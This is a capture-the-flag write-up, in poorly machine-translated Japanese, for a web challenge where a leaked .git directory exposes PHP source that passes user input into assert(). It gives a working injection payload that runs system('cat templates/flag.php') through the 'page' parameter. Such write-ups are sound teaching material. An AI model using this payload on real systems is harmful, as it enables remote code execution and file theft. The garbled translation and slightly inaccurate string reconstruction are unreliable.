XCTFウェブMSF

MSF

実践:

漏洩したソースコード解析を.Git

アイデア:

Webブラウジングでは、私は、ページがでGitリポジトリについては、約、アクセスしようとした.gitファイルを

.gitソースコードリーク。

gitの初期化初期化コードリポジトリを使用して、あなたがソースコードを復元するには、このファイルを使用することができ、.gitという隠しファイルを生成します。ファイルが削除された場合、コードを公開するときに.gitソースコード漏えいの脆弱性が生成されます。

ステップ:

  1. 使用Githackは、ソースコードを取得し利用します

    Githackはpython2環境で実行する必要があります

  2. flag.phpを見つけましたが、手がかりを使用することができ開かないソースビューファイルを取得した後と。

  3. index.phpのであってもよい突破口を示唆し、ファイルをブラウズし続けます

    <?php
    
    if (isset($_GET['page'])) {
     $page = $_GET['page'];
    } else {
     $page = "home";
    }
    
    $file = "templates/" . $page . ".php";
    
    // I heard '..' is dangerous!
    assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
    
    // TODO: Make this look nice
    assert("file_exists('$file')") or die("That file doesn't exist!");
    
    ?>

    関数の説明:

    • (文字列)をアサート:strが実行するコードに解決、trueまたはfalseを返します
    • strpos(STR、obj_str):STRにobj_str最初に現れる位置を返します
  4. 監査は、アップロードのコード・ページ値のホストは任意のフィルタリングをしなかったことが判明したら、脆弱性が含まれているローカルファイルの存在を利用することができます。

    悪質なページが、使用されるペイロードの値を渡すように構成することができます。

    page=suibian') or system("cat templates/flag.php");//

    スプライシング後:

    $file = "templates/" . "suibian') or system("cat templates/flag.php");". ".php";

    次へ:

    assert("strpos('templates/suibian') or system("cat templates/flag.php");
    //.php', '..') === false") or die("Detected hacking attempt!"); 本行已被注释

    strposはfalseを返すので、文が実行または後にされます。

  5. コメントにフラグを探します

参考リンク:

https://blog.csdn.net/silence1_/article/details/89741733

おすすめ

転載: www.cnblogs.com/Dozeer/p/10961767.html